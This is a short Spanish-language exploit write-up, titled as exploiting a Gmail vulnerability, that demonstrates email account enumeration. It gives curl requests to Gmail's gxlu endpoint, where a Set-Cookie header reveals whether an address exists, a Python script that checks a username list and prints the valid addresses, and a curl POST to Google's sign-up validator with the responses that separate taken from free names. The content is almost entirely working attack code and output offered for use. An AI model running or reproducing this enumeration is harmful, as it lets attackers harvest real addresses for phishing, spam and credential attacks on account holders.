Explotar Vulnerabilidad de Gmail para Obtener Direcciones de Correo

$ curl -v https://mail.google.com/mail/gxlu?email=<cuenta_activa>
[...]
< HTTP/1.1 204 No Content
< Cache-Control: no-cache, no-store, max-age=0, must-revalidate
< Pragma: no-cache
< Expires: Mon, 01 Jan 1990 00:00:00 GMT
< Date: Thu, 02 Mar 2017 11:43:10 GMT
< Server: GSE
< Set-Cookie: S=gmail=ilixOdEvDf9fbi2w4OYwRIQkpUcwCKK6; Expires=Thu, 02-Mar-2017 12:43:10 GMT; Path=/mail; Secure; HttpOnly
< Set-Cookie: COMPASS=gmail=CmYACWuJVycLtY31gmk6cAgFQBfuovcN3rfKw05y2kngwptEGIyez478x5O1fJW-dxF4sDChgHulPqu5kDjgCnEQGi0egQkahglkL6Hl5ANZ-v4zRnzWdYxjtZ_8aV6bhAs8w2uH1X8Ql6fgxQUabwAJa4lX4mDPO08mNP4srg8ScUYXcW-bcdfx7U78Xa2IgEGwfn2EZPlDFm5B1b97cyOzPhliiPGhdsfb0PQysYCiVIw2sVb-Ayyq1-S6aFlcsPpwru06Kh64grTP3ZMLSaCE5hF_gjDTXxZ4Xl0S0Q; expires=Sun, 12-Mar-2017 11:43:10 GMT; path=/mail; Secure; HttpOnly
< Alt-Svc: quic=":443"; ma=2592000; v="35,34"

$ curl -v https://mail.google.com/mail/gxlu?email=<cuenta_inexistente>
[...]
< HTTP/1.1 204 No Content
< Cache-Control: no-cache, no-store, max-age=0, must-revalidate
< Pragma: no-cache
< Expires: Mon, 01 Jan 1990 00:00:00 GMT
< Date: Thu, 02 Mar 2017 11:42:08 GMT
< Server: GSE
< Alt-Svc: quic=":443"; ma=2592000; v="35,34"

import requests

cuentas = ["juan123123123.002", "pedrovazquez", "juanperez", "lkasjdklasjdajsdal", "as1321223123d100012", "qwerty002"]

def set_cookie(cuentas):
		try:
			url = requests.get("https://mail.google.com/mail/gxlu?email=" + cuentas + "@gmail.com")
			test = url.headers['set-cookie']
			print cuentas+"@gmail.com"
		except KeyError:
			pass

for i in cuentas:
	set_cookie(i)

curl -X POST -H "Accept: Application/json" -H "Content-Type: application/json" -d '{"input01":{"Input":"GmailAddress","GmailAddress":"pepelucho","FirstName":"","LastName":""},"Locale":"es"}' https://accounts.google.com/InputValidator?resource=SignUp&service=mail

{"input01":{"Valid":"false","ErrorMessage":"Ese nombre de usuario ya está en uso. Prueba con otro.","Errors":{"GmailAddress":"Ese nombre de usuario ya está en uso. Prueba con otro."},"ErrorData":[]},"Locale":"es"}

{"input01":{"Valid":"true","ErrorData":[]},"Locale":"es"}